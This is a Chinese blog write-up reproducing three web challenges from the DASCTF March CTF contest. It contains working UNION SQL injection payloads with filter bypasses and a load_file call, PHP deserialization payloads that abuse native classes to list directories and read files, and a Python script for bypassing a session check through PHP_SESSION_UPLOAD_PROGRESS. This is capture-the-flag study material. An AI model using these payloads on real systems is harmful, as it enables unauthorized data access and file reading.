

# DASCTF-三月赛-web题复现

原创

[weixin\\_45800126](#) 于 2021-04-15 16:30:57 发布 358 收藏 1

文章标签: [web](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/weixin\\_45800126/article/details/115730393](https://blog.csdn.net/weixin_45800126/article/details/115730393)

版权

**title: DASCTF 三月赛 web题复现**

**date: 2021-04-07 15:04:52**

**tags: DASCTF**

## BestDB

### 0x01

源码给了查询语句

```
$sql = "SELECT * FROM users WHERE id = '$query' OR username = \"'$query'\"";
```

过滤单引号, 但没过滤双引号, 所以选择闭合后面的用户名进行union查询

查表名

```
query=-1"/**/union/**/select/**/group_concat(table_name),2,3/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23  
//flagdas,users
```

查字段

```
query=-1"/**/union/**/select/**/group_concat(column_name),2,3/**/from/**/information_schema.columns/**/where/**/table_name="flagdas"%23  
//id,flagdas
```

查数据

```
query=-1"/**/union/**/select/**/flagdas,2,3/**/from/**/flagdas%23  
//flag.txt
```

返回一个文件名, 使用load\_file读取/flag.txt获得flag, flag被过滤了, 可以使用16进制编码绕过

```
query=-1"/**/union/**/select/**/load_file(0x2F666C61672E747874),2,3%23
```

## ez\_serialize

### 0x01

题目给了源码, 序列化的题目, 但是源码中并没有可以利用的类, 所以是php原生类的利用

spl,标准php类库, 里面存着一些php原生类, 其中有可以遍历目录或读取文件

DirectoryIterator 遍历目录 直接echo会输出目录下的.(即表示当前目录的符号)

FileSystemIterator 遍历目录 直接echo会输出目录下第一个文件夹或文件名

SplFileObject 读取文件内容, 按行读取, 跨行需要遍历

源码如下

```
<?php
error_reporting(0);
highlight_file(__FILE__);

class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctfer";
        echo new $this->class ($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new $this->class ($this->para);
        }
        else
            die('bad hacker~');
    }
}

class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello " . $this->a);
    }
}

class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\\"|'':|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
}

if(isset($_GET['pop'])){
    unserialize($_GET['pop']);
}
else{
    $a=new A;
}
```

利用原生类先读取 `var/www/html` 下文件

```
<?php
class A{
    public $class = 'FilesystemIterator';
    public $para = '/var/www/html';
    public $check;
}
$a = new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
```

提交

```
?pop=O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";s:5:"check";N;}
//1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
```

读取获得的这个目录

```
<?php
class A{
    public $class = 'FilesystemIterator';
    public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE';
    public $check;
}
$a = new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";s:5:"check";N;}
```

提交后输出了flag.php

最后读取flag.php

```
<?php
class A{
    public $class = 'SplFileObject';
    public $para = '/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.phpssss';
    public $check;
}
$a = new A();
echo serialize($a);
//O:1:"A":3:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";s:5:"check";N;}
```

在源码可以看到flag

## ez\_login

比赛的时候没做出了，也没来得及复现环境就关了，看了别的师傅的writeup，主要记录一下前面绕过session检测的方法，后面就是一个sql盲注

源码

```

<?php
if(!isset($_SESSION)){
    highlight_file(__FILE__);
    die("no session");
}
include("../php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
    if($url){
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        curl_close($ch);
    }
}
else{
    echo "Your IP is internal yoyoyo";
}
?>

```

题目思路是通过ssrf去访问到后台的admin.php，然后进行sql注入拿flag

由源码可以看到，必须要存在session会话才可以进行下一步的ssrf

利用PHP\_SESSION\_UPLOAD\_PROGRESS可以绕过，php在文件上传的时候，会在session中存放上传文件的信息，包括上传进度，文件名等等，当然，文件上传成功后就会被删除，但这里其实可以利用，只要我们上传一个足够大的文件，利用条件竞争的话，再搭配文件包含漏洞，就有可能将恶意代码注入应用程序，这个之后研究

在配置中，`session.use_strict_mode=off`这个选项默认值为off，表示我们对Cookie中sessionid可控，这样我们就可以随意构造一个PHPSESSID，这样就成功获得了一个会话

测试代码

```

<?php
if(!isset($_SESSION)){
    highlight_file(__FILE__);
    die("no session");
}
else{
    echo "you are successful";
}

```

脚本

```

import requests

session = requests.Session()

url = "http://127.0.0.1/1.php"
myData = {'PHP_SESSION_UPLOAD_PROGRESS':'nappingCat'}
myFile = {'file':('1.txt','somethingnotimportant')}
myCookie = {'PHPSESSID':'nappingCat'}
proxies={'http':'127.0.0.1:8080','https':'127.0.0.1:8080'}

r = session.post(url=url, data=myData, files=myFile, cookies=myCookie, proxies=proxies, verify=False)

```

利用bp抓包

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Kapnnc01-1618475384989)(DASCTF-三月赛-web题复现/Snipaste\_2021-04-11\_17-38-55.png)]

可以在自己的服务器存放session的目录下看到文件

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-guMJ63wh-1618475384992)(DASCTF-三月赛-web题复现/Snipaste\_2021-04-11\_17-41-00.png)]

文件内容是空的，因为已经上传结束了